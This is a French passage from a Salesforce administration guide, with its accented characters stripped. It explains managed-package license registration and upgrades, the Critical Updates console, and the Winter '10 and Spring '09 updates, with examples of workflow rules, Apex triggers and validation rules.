Pour rpondre une demande d'inscription :
1. Cliquez sur le lien disponible dans l'e-mail de demande de gestion de licences. La demande d'inscription apparat alors
dans l'interface Developer Edition du demandeur.
2. Cliquez sur Accepter pour achever le processus d'inscription. Vous pouvez galement cliquer sur Rejeter pour rejeter la
demande et fermer le navigateur. Vous ne pouvez alors plus utiliser le lien.
Remarque: Si vous acceptez la demande, vous autorisez Salesforce.com crer automatiquement des enregistrements
dans votre systme Salesforce.com afin de pouvoir effectuer le suivi des informations sur le package. Le choix d'une
entreprise de gestion de licences est dfinitif. Vous ne pouvez pas le modifier.
3. Entrez le nom d'utilisateur et le mot de passe correspondant l'entreprise Salesforce.com qui doit assurer la gestion des
licences du package. Le gestionnaire de licences peut tre n'importe quelle entreprise Salesforce.com ayant install la
application de gestion de licences (LMA) gratuite disponible dans Force.com AppExchange.
4. Cliquez sur Confirmer.

Voir aussi :
propos des packages grs
Gestion des licences de packages installs

Packages installs

Guide de l'utilisateur | Mise niveau des packages | 1031

Mise niveau des packages

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Pour dsinstaller des packages :

Tlcharger des packages AppExchange

Pour installer des packages :

Tlcharger des packages AppExchange

Salesforce.com prend en charge les mises niveau uniquement des packages grs. Les diteurs peuvent publier une mise
niveau pour un package gr et informer les installateurs de la mise disposition de la nouvelle version. Les installateurs d'un
package gr peuvent ensuite installer la mise niveau comme suit :
1. Avant d'installer une mise niveau, dterminez si la sous-application installe provient d'un package gr. Pour cela,
recherchez l'icne

Gr-Install sur la page de dtails de chacun des composants et dans la liste des packages installs.

Si la sous-application installe ne provient pas d'un package gr, aucune mise niveau ne sera disponible.
2. Installez ensuite la mise niveau comme n'importe quel autre package partir du rpertoire Force.com AppExchange. Si
l'diteur a fourni un lien vers la nouvelle version, suivez ce lien jusqu'au package en question et installez-le dans votre
entreprise. La premire page de l'assistant d'installation rpertorie la version actuelle dont vous disposez, la version que
vous tes sur le point d'installer, ainsi que la liste des composants supplmentaires inclus dans la nouvelle version.
Remarques sur la mise niveau des packages grs
Tenez compte des points suivants lorsque vous mettez niveau un package gr :

Tous les objets personnaliss existants prcdemment dploys restent dploys. Salesforce.com vous invite dployer les
nouveaux objets personnaliss ou les objets personnaliss prcdents non dploys.
Les paramtres de profil peuvent tre modifis, mais ne peuvent pas tre mis niveau. Aprs la mise niveau, mettez
jour les paramtres de profil pour chacun des objets personnaliss inclus dans le package. Le dveloppeur peut modifier les
paramtres de profil aprs leur publication, mais ces modifications ne seront pas intgres dans une mise niveau.
Si le dveloppeur dcide d'ajouter des champs personnaliss universellement requis, ces derniers prsenteront des valeurs
par dfaut.
Les valeurs du systme de traduction des composants qui peuvent tre modifis, mais pas mis niveau selon les Composants
intgrer dans un package sont exclues des mises niveau.
Si un package install possde un accs API Limit, les mises niveau ne russiront que si la version mise niveau ne
contient aucune commande s-control. Si la version mise niveau contient des commandes s-control, vous devez modifier
l'accs API du package install et le remplacer par Illimit.
Lorsque vous mettez un package niveau, les modifications apportes l'accs API sont ignores mme si le dveloppeur
les a spcifies. Ceci permet de s'assurer que l'administrateur installant la mise niveau possde un contrle intgral. Au
cours de l'installation, les installateurs doivent tudier attentivement les modifications apportes l'accs des packages pour
chaque mise niveau et noter toutes les modifications acceptables. Ensuite, dans la mesure o ces modifications sont

Packages installs

Guide de l'utilisateur | Mise niveau des packages | 1032

ignores, l'administrateur doit appliquer manuellement toutes les modifications acceptables aprs l'installation d'une mise
niveau.

Voir aussi :
Installation d'un package
Dsinstaller un package
Gestion des installations de packages
Gestion des licences de packages installs

Console des mises jour critiques

Prsentation des mises jour critiques
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les mises jour critiques :

Afficher la configuration

Pour activer les mises jour critiques :

Modifier toutes les donnes et Personnaliser l'application

Salesforce.com publie priodiquement des mises jour qui amliorent les performances, la logique et l'utilisation de
Salesforce.com, sans toutefois affecter vos personnalisations existantes. Lorsque ces mises jour sont disponibles, Salesforce.com
les rpertorie dans Configuration Mises jour critiques, envoie un e-mail de notification aux administrateurs, puis affiche
un message lorsque ces derniers cliquent sur Configuration.
Pour assurer une transition sans heurt, chaque mise jour comporte une priode d'adoption durant laquelle vous pouvez activer
et dsactiver manuellement et volont la mise jour afin d'valuer son impact sur votre organisation et de modifier les
personnalisations affectes si ncessaire. La priode d'adoption prend fin la date d'activation automatique, date laquelle
Salesforce.com active dfinitivement la mise jour.
ATTENTION: Salesforce.com recommande de tester chaque mise jour en l'activant pendant les heures creuses
dans votre version test Developer Sandbox ou dans votre environnement de production.
Pour grer les mises jour critiques, cliquez sur Configuration Mises jour critiques. partir de cette page, vous pouvez :

Afficher le rcapitulatif, le statut et la date d'activation automatique de toute mise jour que Salesforce.com n'a pas active
dfinitivement.
Cliquer sur Vrifier pour afficher la page de dtails de toute mise jour que Salesforce.com n'a pas dfinitivement active.
Les dtails comprennent une liste des personnalisations de votre organisation susceptibles d'tre affectes par la mise jour
ainsi que l'historique des activations qui rpertorie chaque date d'activation et de dsactivation de la mise jour.
Cliquez sur Activer pour activer une mise jour inactive.
Cliquez sur Dsactiver pour dsactiver une mise jour active que Salesforce.com n'a pas dfinitivement active.

Voir aussi :
Mises jour critiques Winter '10
Mises jour critiques Spring '09

Remarques sur les mises jour critiques

Lors de l'utilisation de mises jour critiques, tenez compte des points suivants :

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Winter '10 | 1034

Salesforce.com analyse votre organisation afin de dterminer si une mise jour critique peut affecter vos personnalisations.
Si vos personnalisations ne sont pas affectes, Salesforce.com active automatiquement la mise jour dans votre organisation
et elle n'est plus rpertorie lorsque vous cliquez sur Configuration Mises jour critiques.
la date prvue d'activation automatique, Salesforce.com active dfinitivement la mise jour. Une fois active, la mise
jour ne peut plus tre dsactive.
Chaque page de dtails de mise jour comporte sa propre rubrique d'aide en ligne avec des informations importantes et
des exemples qui expliquent comment vos personnalisations peuvent tre affectes et comment corriger tout comportement
indsirable.
Salesforce.com affiche un message la premire fois que vous accdez au menu de configuration suite la publication d'une
mise jour critique. Le message vous invite choisir entre l'affichage immdiat des mises jour ou un rappel ultrieur par
Salesforce.com. Vous pouvez galement dsactiver tout affichage ou rappel de Salesforce.com. Si vous slectionnez cette
option, Salesforce.com n'affiche plus ce message jusqu' la mise niveau suivante.

Mises jour critiques Winter '10

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les mises jour critiques :

Afficher la configuration

Pour activer les mises jour critiques :

Modifier toutes les donnes et Personnaliser l'application

Winter '10 comprend une mise jour critique :

Nouveau comportement de cration d'un membre de campagne : permet Salesforce.com d'valuer les dclencheurs, les
rgles de validation et les rgles de workflow lors de la cration de membres de campagne l'aide de :
-

de l'assistant Importation de piste

de l'assistant Mise jour de campagne
Web vers piste
du champ Campagne lors de la cration ou du clonage d'une piste

Pour plus d'informations, reportez-vous Qu'est-ce que la mise jour Nouveau comportement de cration d'un membre de
campagne Winter '10 ?

Voir aussi :
Prsentation des mises jour critiques

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Winter '10 | 1035

Qu'est-ce que la mise jour Nouveau comportement de cration d'un

membre de campagne Winter '10 ?
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour visualiser la mise jour Nouveau comportement de
cration d'un membre de campagne Winter '10 :

Afficher la configuration

Pour activer la mise jour Nouveau comportement de cration Personnaliser l'application

d'un membre de campagne Winter '10 :
ET
Modifier toutes les donnes

La mise jour Nouveau comportement de cration d'un membre de campagne Winter '10 permet Salesforce.com d'valuer
les dclencheurs, les rgles de validation et les rgles de workflow lors de la cration de membres de campagne l'aide :

de l'assistant Importation de piste

de l'assistant Mise jour de campagne
de Web vers piste
du champ Campagne lors de la cration ou du clonage d'une piste

En otre, le Nouveau comportement de cration d'un membre de campagne permet de mapper les champs d'importation sur
les champs personnaliss de membre de campagne. Par exemple, vous pouvez dsormais mapper les champs Participant ?
et Nbre de questions poses dans un fichier d'importation sur des champs personnaliss de membre de campagne appels
Participant ? et Nbre de questions poses .
Lors de l'activation de cette mise jour, vous pouvez excuter un workflow et mapper des champs personnaliss de membre
de campagne en crant des membres de campagne l'aide de l'assistant Importation de piste ou l'assistant Mise jour de
campagne. Le workflow est automatiquement excut et les valeurs par dfaut des champs personnaliss de membres de
campagne sont automatiquement renseignes pour les membres de campagne crs l'aide de Web vers piste ou du champ
Campagne lors de la cration ou du clonage d'une piste.
Si vous dsactivez cette mise jour, Salesforce.com n'value pas les dclencheurs, les rgles de validation et les rgles de workflow
pour les membres de campagne crs l'aide de l'assistant Importation de piste, de l'assistant Mise jour de campagne, de
Web vers piste ou du champ Campagne, lors de la cration ou du clonage d'une piste, et vous ne pouvez pas mapper des champs
d'importation sur des champs personnaliss de membres de campagne.
Important: Cette mise jour critique modifie le comportement de membres de campagne crs l'aide des assistants
de membre de campagne, de Web vers piste et du champ Campagne lors de la cration ou du clonage d'une piste.
Lorsque vous activez cette mise jour, le comportement des personnalisations de ces fonctionnalits peut changer,
par exemple :

Les dclencheurs de membres de campagne et de pistes qui dpendent de la cration simultane de membres de
campagne et de pistes ne fonctionnent pas car les membres de campagne sont crs aprs les pistes.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Winter '10 | 1036

Si les donnes du fichier d'importation sont en conflit avec des dclencheurs de membre de campagne et des rgles
de validation existants, les pistes et les membres de campagne ne sont pas insrs.
Les dclencheurs Apex qui entranent la conversion de pistes avant leur ajout une campagne, par exemple, un
dclencheur aprs l'insertion, gnrent un membre de campagne dont seuls les champs de contact sont
renseigns. Ces enregistrements ne sont pas inclus dans le dcompte des pistes converties de la campagne.

Si votre organisation dispose de personnalisations de ce type, consultez les exemples pour comprendre comment elles
peuvent tre affectes et comment corriger une fonctionnalit indsirable.
Salesforce.com recommande d'activer cette mise jour car elle garantit la cration de membres de campagne avec des rgles
identiques, quelle que soit la mthode de cration, et amliore la qualit des donnes.
Important: L'activation de cette mise jour affecte les enregistrements de membres de campagne dans l'interface
utilisateur, l'API et les clients de bureau, tels que Connect pour Outlook.
La mise jour Nouveau comportement de cration d'un membre de campagne Winter '10 est automatiquement active pour
les nouveaux clients qui s'inscrivent aprs la version Winter '10, en octobre 2010. Vous ne pouvez pas dsactiver cette mise
jour si elle est automatiquement active.
Si cette mise jour n'est pas automatiquement active par dfaut, Salesforce.com s'en charge la date spcifie dans la colonne
d'auto-activation de la page Mises jour critiques. Avant cette date, salesforce.com recommande de tester la mise jour en
l'activant pendant les heures creuses dans votre version test Sandbox ou dans votre environnement de production. Vous pouvez
activer ou dsactiver la mise jour un nombre de fois illimit.

Activation de la mise jour Nouveau comportement de cration d'un membre de campagne

Winter '10
Pour activer la mise jour Nouveau comportement de cration d'un membre de campagne Winter '10 :
1. Cliquez sur Configuration Mises jour critiques.
2. Cliquez sur Vrifier en regard de la mise jour Nouveau comportement de cration d'un membre de campagne.
La page de dtails Mise jour critique affiche des personnalisations de fonctionnalits susceptibles d'tre affectes par
l'activation de la mise jour.
3. Dterminez si l'activation de la mise jour entrane des fonctionnalits indsirables et, le cas chant, modifiez vos
personnalisations.
4. Cliquez sur Activer.
5. Vous pouvez galement saisir un commentaire, puis cliquer sur Activer. Les commentaires s'affichent dans l'historique
des activations.

Dsactivation de la mise jour Nouveau comportement de cration d'un membre de campagne

Winter '10
Pour dsactiver la mise jour Nouveau comportement de cration d'un membre de campagne Winter '10 :
1. Cliquez sur Configuration Mises jour critiques.
2. Cliquez sur Vrifier en regard de la mise jour Nouveau comportement de cration d'un membre de campagne.
3. Cliquez sur Dsactiver.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Winter '10 | 1037

4. Vous pouvez galement saisir un commentaire, puis cliquer sur Dsactiver. Les commentaires s'affichent dans l'historique
des activations.

Exemples de Nouveau comportement de cration d'un membre de campagne

Exemple de rgle de workflow
Supposons que vous utilisez l'assistant Importation de pistes pour ajouter des membres une campagne appele Bulletin
d'informations . Vous disposez d'une rgle de workflow qui envoie par e-mail un bulletin d'informations aux membres
ajouts cette campagne.

Mise jour active : vous pouvez excuter des rgles de workflow l'aide de l'assistant Importation de pistes. Votre
rgle de workflow est value pour les membres imports et les bulletins d'informations sont envoys.
Mise jour dsactive : votre rgle de workflow n'est pas value pour les membres ajouts la campagne via l'assistant
Importation de pistes et les bulletins d'informations ne sont pas envoys.

Exemple de dclencheur Apex

Supposons qu'un dclencheur Apex dans les membres de campagne mette jour le champ personnalis Nombre de
participants de la campagne, lors de l'ajout de membres dont le statut est Participant la campagne Webinaire
. Vous souhaitez utiliser l'assistant Mise jour de la campagne pour mettre jour le statut des membres de cette
campagne.

Mise jour active : le dclencheur Apex s'active pour les membres de campagne mis jour l'aide de l'assistant
Mise jour de la campagne et le champ personnalis Nombre de participants de la campagne est mis jour.
Mise jour dsactive : le dclencheur Apex ne s'active pas pour les membres mis jour l'aide de l'assistant Mise
jour de la campagne et le champ personnalis Nombre de participants de la campagne n'est pas mis jour.

Exemple de rgle de validation

Supposons qu'une rgle de validation de membre de campagne invite les utilisateurs slectionner un champ personnalis
appel RSVP-Oui si le statut du membre est RSVP-Oui .

Mise jour active : les membres de campagne imports dont le statut est RSVP-Oui doivent galement avoir le
champ RSVP-Oui dfini sur TRUE dans le fichier d'importation, sinon, ils ne sont pas crs.
Mise jour dsactive : vous pouvez importer des membres de campagne dont le statut est RSVP-Oui , quelle
que soit la valeur du champ personnalis RSVP-Oui .

Exemple de champ personnalis membre de campagne

Supposons que vous souhaitez mapper des champs d'importation appels Participant ? et Nbre de questions poses
sur des champs personnaliss de membres de campagne portant le mme nom.

Mise jour active : vous pouvez mapper ces champs d'importation durant l'importation sur des champs personnaliss
de membres de campagne appels Participant ? et Nbre de questions poses .
Mise jour dsactive : vous ne pouvez pas mapper ces champs d'importation sur des champs personnaliss de
membres de campagne.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1038

Mises jour critiques Spring '09

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les mises jour critiques :

Afficher la configuration

Pour activer les mises jour critiques :

Modifier toutes les donnes et Personnaliser l'application

Spring '09 prsente deux mises jour critiques :

valuations de rgles de workflow et de champs rcapitulatifs de cumul : la mise jour valuations de rgles de workflow et
de champs rcapitulatifs de cumul Spring '09 affecte l'valuation par Salesforce.com des rgles de workflow et des champs
rcapitulatifs de cumul dans des objets contenant des dclencheurs Apex. La mise jour amliore la prcision de vos donnes
et empche la rvaluation des rgles de workflow en cas de rcurrence. Une rcurrence est une situation dans laquelle une
partie de votre logique personnalise (telle qu'un champ rcapitulatif de cumul ou un dclencheur Apex) entrane
Salesforce.com excuter deux fois la logique lors de la sauvegarde d'un enregistrement, provoquant souvent un comportement
indsirable. Pour plus d'informations, reportez-vous Prsentation de la mise jour valuations de rgles de workflow et
de champs rcapitulatifs de cumul Spring '09 la page 1043.
Nouveau comportement de sauvegarde de l'opportunit : La mise jour Nouveau comportement de sauvegarde de
l'opportunit Spring '09 affecte la faon dont Salesforce.com traite la logique de personnalisation de votre organisation
lorsque les modifications que vous apportez un produit d'opportunit ou une planification affectent les champs cumulatifs
suivants dans l'enregistrement parent. Pour plus d'informations, reportez-vous Prsentation de la mise jour Nouveau
comportement de sauvegarde de l'opportunit Spring '09 la page 1039.

Voir aussi :
Prsentation des mises jour critiques

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1039

Prsentation de la mise jour Nouveau comportement de sauvegarde

de l'opportunit Spring '09
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher la mise jour Nouveau comportement de
sauvegarde de l'opportunit Spring '09 :

Afficher la configuration

Pour activer la mise jour Nouveau comportement de

sauvegarde de l'opportunit Spring '09 :

Personnaliser l'application et Modifier toutes les donnes

La mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09 affecte la faon dont Salesforce.com traite
la logique de personnalisation de votre organisation. Les modifications que vous apportez un produit d'opportunit ou une
planification affectent les champs cumulatifs suivants dans l'enregistrement parent :

Montant de l'opportunit
Quantit de l'opportunit
Prix total du produit de l'opportunit
Prix unitaire du produit de l'opportunit
Quantit du produit de l'opportunit

Tout champ rcapitulatif de cumul d'opportunit

Remarque: Si votre opportunit contient un champ rcapitulatif qui cumule le prix catalogue du produit et que ce
prix est mis jour dans le catalogue associ, le champ rcapitulatif de cumul de l'opportunit est mis jour mais la
logique d'enregistrement de l'opportunit personnalise ou du produit de l'opportunit ne s'applique pas.

Activation de la mise jour Nouveau comportement de sauvegarde de l'opportunit entrane les modifications suivantes dans
la logique de l'application :
Personnalisation des enregistrements
parents

Nouveau comportement de sauvegarde Nouveau comportement de sauvegarde

de l'opportunit dsactiv
de l'opportunit activ

Dclencheur Apex

Les dclencheurs dans un enregistrement Les dclencheurs dans un enregistrement

parent ne sont PAS excuts lors de la parent SONT excuts lors de la mise
mise jour du champ cumulatif parent jour du champ cumulatif parent
Les dclencheurs aprs sont excuts Les dclencheurs aprs sont excuts
aprs la mise jour du champ cumulatif avant la mise jour du champ cumulatif
parent
parent

Rgle de validation de champ unique

Rgle de validation de champ
universellement requis
Rgle de validation personnalise

Les rgles dans un enregistrement parent Appliques lorsqu'une mise jour d'un
ne sont PAS excutes lors de la mise produit d'opportunit enfant ou d'un
jour du champ cumulatif parent
enregistrement de planification met
jour l'un des champs cumulatifs
mentionns ci-dessus

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1040

Personnalisation des enregistrements

parents

Nouveau comportement de sauvegarde Nouveau comportement de sauvegarde

de l'opportunit dsactiv
de l'opportunit activ

Rgle de workflow (mise jour de

champ) : dans l'enregistrement parent
avec le critre chaque cration ou
modification d'un enregistrement

Evalu si une mise jour d'un produit

d'opportunit enfant ou d'un
enregistrement de planification affecte
les champs cumulatifs dans
l'enregistrement parent

Les rgles de mise jour de champ dans

l'enregistrement parent excutent une
validation de champ unique, une
validation de champ universellement
requis, ainsi que des dclencheurs Apex

Les rgles de mise jour de champ dans

l'enregistrement parent excutent des
rgles de validation personnalises, une
validation de champ unique, une
validation de champ universellement
requis, ainsi que des dclencheurs Apex.
Rgle de workflow (tche ou e-mail)

Les rgles dans un enregistrement parent Les rgles dans un enregistrement parent
SONT excutes quelle que soit la mise sont excutes UNIQUEMENT lors de
jour du champ cumulatif parent
la mise jour du champ cumulatif parent
Les rgles dans l'enregistrement enfant Les rgles dans l'enregistrement enfant
sont values en fonction de la valeur
sont values en fonction de la valeur
mise jour de l'enregistrement parent actuelle de l'enregistrement parent,
c'est--dire la valeur du champ cumulatif
avant sa mise jour par la modification.
Pour plus d'informations sur les
dclencheurs et l'ordre d'excution,
reportez-vous au manuel Force.com Apex
Code Developer's Guide.

En outre, cette mise jour apporte des modifications au comportement de sauvegarde de l'opportunit lors du clonage d'une
opportunit avec produits. Dans cette mise jour, la logique de personnalisation, telle que les rgles de validation, les rgles
de workflow et les dclencheurs Apex, est excute sur les produits de l'opportunit ainsi que sur l'opportunit parente lors du
clonage d'une opportunit avec produits. En outre, les erreurs de clonage se produisent si l'opportunit avec produits qui est
clone a une contrainte de champ unique dans le produit de l'opportunit, car la valeur du champ unique enfreint la contrainte
base sur la valeur copie.
Important: L'activation de cette mise jour affecte les enregistrements d'opportunit et de produits de l'opportunit
dans l'interface utilisateur, l'API et les clients de bureau.
Salesforce.com recommande d'activer cette mise jour car elle amliore la cohrence de votre logique d'application personnalise
ainsi que la qualit de vos donnes.
Le Nouveau comportement de sauvegarde de l'opportunit Spring '09 est automatiquement activ pour les nouveaux clients
qui s'inscrivent aprs le lancement de la version Spring '09 en fvrier 2009. A partir de mars 2009, salesforce.com va commencer
la publication par tapes de la mise jour Nouveau comportement de sauvegarde de l'opportunit. Une fois disponible, la mise
jour sera rpertorie dans la page Mises jour critiques. La mise jour sera active automatiquement pour les organisations
qui n'utilisent pas actuellement les personnalisations rpertories ci-dessous. Ces clients seront invits examiner la mise
jour et s'assurer d'activer la mise jour avant sa date d'activation automatique.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1041

Rgles de validation d'opportunit et de produit d'opportunit

Champs universellement requis d'opportunit et de produit d'opportunit
Champs uniques d'opportunit et de produit d'opportunit
Dclencheurs d'opportunit et de produit d'opportunit
Rgles de workflow d'opportunit et de produit d'opportunit
Dclencheurs de tout objet qui entrane une mise jour de l'opportunit et/ou du produit d'opportunit

Salesforce.com recommande de tester la mise jour en l'activant pendant les heures creuses dans votre version test Sandbox
ou dans votre environnement de production. Vous pouvez activer ou dsactiver la mise jour un nombre de fois illimit. Laissez
la mise jour active si elle ne provoque aucun comportement indsirable.
Considrations sur la cration de packages
tant donn que cette mise jour peut entraner Salesforce.com excuter votre logique d'application personnalise dans des
situations o elle ne s'excutait pas prcdemment, Salesforce.com peut empcher votre organisation de tlcharger des packages
depuis AppExchange afin d'viter la corruption de donnes et un fonctionnement prcis de l'application.
Les packages seront dsigns comme disponibles pour le nouveau comportement de sauvegarde, l'ancien comportement de
sauvegarde ou les deux. Les dveloppeurs de packages peuvent crer un package qui fonctionne dans les organisations abonnes
au nouveau et l'ancien comportement. L'installation du package sera bloque dans votre organisation si tous les points suivants
sont vrais :

Le package contient l'une des personnalisations suivantes :

-

Champs universellement requis d'opportunit et de produit d'opportunit

Champs uniques d'opportunit et de produit d'opportunit
Dclencheurs d'opportunit et de produit d'opportunit
Rgles de workflow d'opportunit et de produit d'opportunit (mises jour d'e-mails / de tches / de champ)

Le package a t construit dans un comportement de sauvegarde diffrent de votre paramtre actuel

Le dveloppeur n'a pas confirm que le package fonctionne correctement dans l'ancien et le nouveau comportement

Si l'installation d'un package est bloque dans votre organisation, nous vous recommandons de contacter le dveloppeur du
package afin d'obtenir le tlchargement d'une version sre.

Voir aussi :
Prsentation des mises jour critiques
Prsentation des produits, des catalogues de prix et des planifications

Activation de la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09

Pour activer la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09 :
1. Cliquez sur Configuration Mises jour critiques.
2. Cliquez sur Vrifier en regard de la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09.
Salesforce.com affiche la page de dtails de la mise jour, qui comprend une liste de personnalisations dans votre organisation
susceptibles d'tre affectes par la mise jour.
3. Examinez chaque personnalisation afin d'valuer si l'activation de la mise jour peut perturber leur fonctionnement.
Consultez les exemples ci-aprs ainsi que le tableau ci-dessus afin de comprendre comment vos personnalisations peuvent
tre affectes et comment corriger toute fonctionnalit indsirable. Si la mise jour entrane un comportement imprvu,
modifiez la personnalisation avant d'activer la mise jour.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1042

4. Cliquez sur Activer.

5. Vous pouvez galement entrer des commentaires sur cette activation avant de cliquer sur Activer. Les commentaires
s'affichent dans l'historique des activations.

Dsactivation de la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring

'09
Pour dsactiver la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09 :
1. Cliquez sur Configuration Mises jour critiques.
2. Cliquez sur Vrifier en regard de la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09.
Salesforce.com affiche la page de dtails de la mise jour.
3. Cliquez sur Dsactiver.
4. Vous pouvez galement entrer des commentaires sur cette dsactivation avant de cliquer sur Dsactiver. Par exemple, vous
pouvez dtailler les raisons pour lesquelles vous dsactivez cette mise jour et indiquer tout comportement imprvu provoqu
par la mise jour. Les commentaires s'affichent dans l'historique des activations.

Exemples
Exemple de rgle de validation
Supposons que vous avez les rgles de validation suivantes sur des opportunits. Elles requirent la dfinition du champ
tape sur Qualification si l'opportunit est suprieure 10 000 $ :
OR (AND (ISPICKVAL (StageName, "Qualification"), Amount > 10000), Amount <= 10000)

Si la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09 est inactive, Salesforce.com excute
cette rgle de validation lorsque vous modifiez une opportunit, mais pas lorsque vous modifiez le produit de l'opportunit
ou la planification, puis modifie le montant ou la quantit de l'opportunit. Ainsi, si le montant du produit de l'opportunit
change, le statut de l'opportunit associe peut tre non valide.
Si la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09 est active, Salesforce.com excute
cette rgle de validation lorsque vous modifiez une opportunit et lorsque vous modifiez le produit de l'opportunit si
les modifications apportes au produit de l'opportunit affectent le montant ou la quantit de l'opportunit associe.
Cela vous empche d'enregistrer le produit de l'opportunit tant que l'tape correcte n'est pas dfinie dans l'opportunit.
Exemple de dclencheur Apex
Supposons qu'une organisation dispose d'un dclencheur Apex dans une opportunit qui envoie des mises jour vers les
champs Montant et Quantit dans un objet personnalis charg de calculer la commission de chaque commercial.
Actuellement, le dclencheur envoie ces mises jour uniquement si le Montant et la Quantit ont t directement mises
jour depuis l'enregistrement de l'opportunit (IU ou API). Cependant, si les champs Montant ou Quantit ont t
mis jour lors d'une modification apporte l'lment de ligne du produit de l'opportunit, le dclencheur de l'opportunit
ne s'excute pas et les dtails de l'objet personnalis de la commission ne refltent pas les modifications apportes
l'ensemble de l'opportunit.
Une fois le Nouveau comportement de sauvegarde de l'opportunit activ, les dclencheurs de l'opportunit s'excutent
lorsque le produit de l'opportunit modifie ce cumul dans le champ Montant ou Quantit. Les donnes de l'objet
personnalis des commissions refltent des valeurs Montant et Quantit prcises pour le calcul des commissions.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1043

Prsentation de la mise jour valuations de rgles de workflow et de

champs rcapitulatifs de cumul Spring '09
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher la mise jour valuations de rgles de workflow Afficher la configuration
et de champs rcapitulatifs de cumul Spring '09 :
Pour activer la mise jour valuations de rgles de workflow Personnaliser l'application et Modifier toutes les donnes
et de champs rcapitulatifs de cumul Spring '09 :

La mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul affecte l'valuation par Salesforce.com des
rgles de workflow et des champs rcapitulatifs de cumul dans des objets contenant des dclencheurs Apex. La mise jour
amliore la prcision de vos donnes et empche la rvaluation des rgles de workflow en cas de rcurrence. Une rcurrence
est une situation dans laquelle une partie de votre logique personnalise (telle qu'un champ rcapitulatif de cumul ou un
dclencheur Apex) entrane Salesforce.com excuter deux fois la logique lors de la sauvegarde d'un enregistrement, provoquant
souvent un comportement indsirable.
Avec cette mise jour :

Salesforce.com value une seule fois chaque rgle de workflow et champ rcapitulatif de cumul lors de la sauvegarde d'un
enregistrement.
Les champs rcapitulatifs de cumul peuvent invoquer une seule fois les dclencheurs Apex et rgles de workflow dans un
enregistrement parent lors de la sauvegarde de son enregistrement enfant.
Les rgles de workflow utilisent toujours des valeurs de champ actuelles dans un enregistrement.

Sans cette mise jour, Salesforce.com risque d'valuer plusieurs fois la mme rgle de workflow ou le mme champ rcapitulatif
de cumul lors de la sauvegarde d'un enregistrement. Cela peut entraner des actions de workflow dupliques sur des
enregistrements enfants ainsi qu'une double excution de dclencheurs Apex et de rgles de workflow par les champs rcapitulatifs
de cumul dans l'enregistrement parent. En outre, les rgles de workflow peuvent ne pas utiliser des valeurs de champ actuelles.
Important: L'activation de la mise jour valuations de rgles de workflow et des champs rcapitulatifs de cumul
affecte le comportement de l'interface utilisateur de Salesforce.com, de l'API et des clients de bureau.
La mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul Spring '09 est automatiquement et
dfinitivement active pour tout nouveau client inscrit aprs la date de publication de la mise jour Spring '09, en fvrier 2009.
Pour ces clients, la mise jour ne figure pas la page Mises jour critiques.
En mars 2009, salesforce.com lancera la mise en oeuvre par tapes de la mise jour valuations de rgles de workflow et de
champs rcapitulatifs de cumul pour les clients existants. Une fois disponible, la mise jour sera automatiquement active pour
les organisations sans personnalisations affectes. Les clients qui disposent de personnalisations susceptibles d'tre affectes
verront la mise jour dans la page Mises jour critiques. Ces clients devront vrifier la mise jour et s'assurer de l'activer
avant sa date d'activation automatique.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1044

ATTENTION: Pour les clients existants, la mise jour valuations de rgles de workflow et de champs rcapitulatifs
de cumul Spring '09 peut affecter leurs personnalisations s'ils disposent d'un dclencheur Apex contenant un vnement
de dclencheur aprs la mise jour, aprs l'insertion, aprs la restauration ou avant la
suppression qui :

Mets jour l'enregistrement actuel

Mets jour tout enregistrement enfant de l'enregistrement actuel qui contient un champ rcapitulatif de cumul
Mets jour un objet non associ qui contient un dclencheur Apex activant une mise jour dans l'enregistrement
actuel
Supprime lenregistrement actuel ou mets jour un objet non associ contenant un dclencheur Apex qui supprime
l'enregistrement actuel (dclencheurs aprs la mise jour ou aprs l'insertion uniquement)

Si votre organisation dispose de ce type de personnalisation, consultez les exemples pour comprendre comment elles
peuvent tre affectes et comment corriger une fonctionnalit indsirable.
Si la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul n'est pas active par dfaut dans votre
organisation, salesforce.com l'active dfinitivement la date spcifie dans la colonne d'activation automatique de la page
Mises jour critiques. Avant cela, salesforce.com recommande de tester la mise jour en l'activant pendant les heures creuses
dans votre version test Developer Sandbox ou dans votre environnement de production. Vous pouvez activer ou dsactiver la
mise jour un nombre de fois illimit. Laissez la mise jour active si elle ne provoque aucun comportement indsirable.

Voir aussi :
Prsentation des mises jour critiques
Prsentation de la mise jour Nouveau comportement de sauvegarde de l'opportunit Spring '09
Gestion des rgles de workflow

Activation de la mise jour valuations de rgles de workflow et de champs rcapitulatifs de

cumul Spring '09
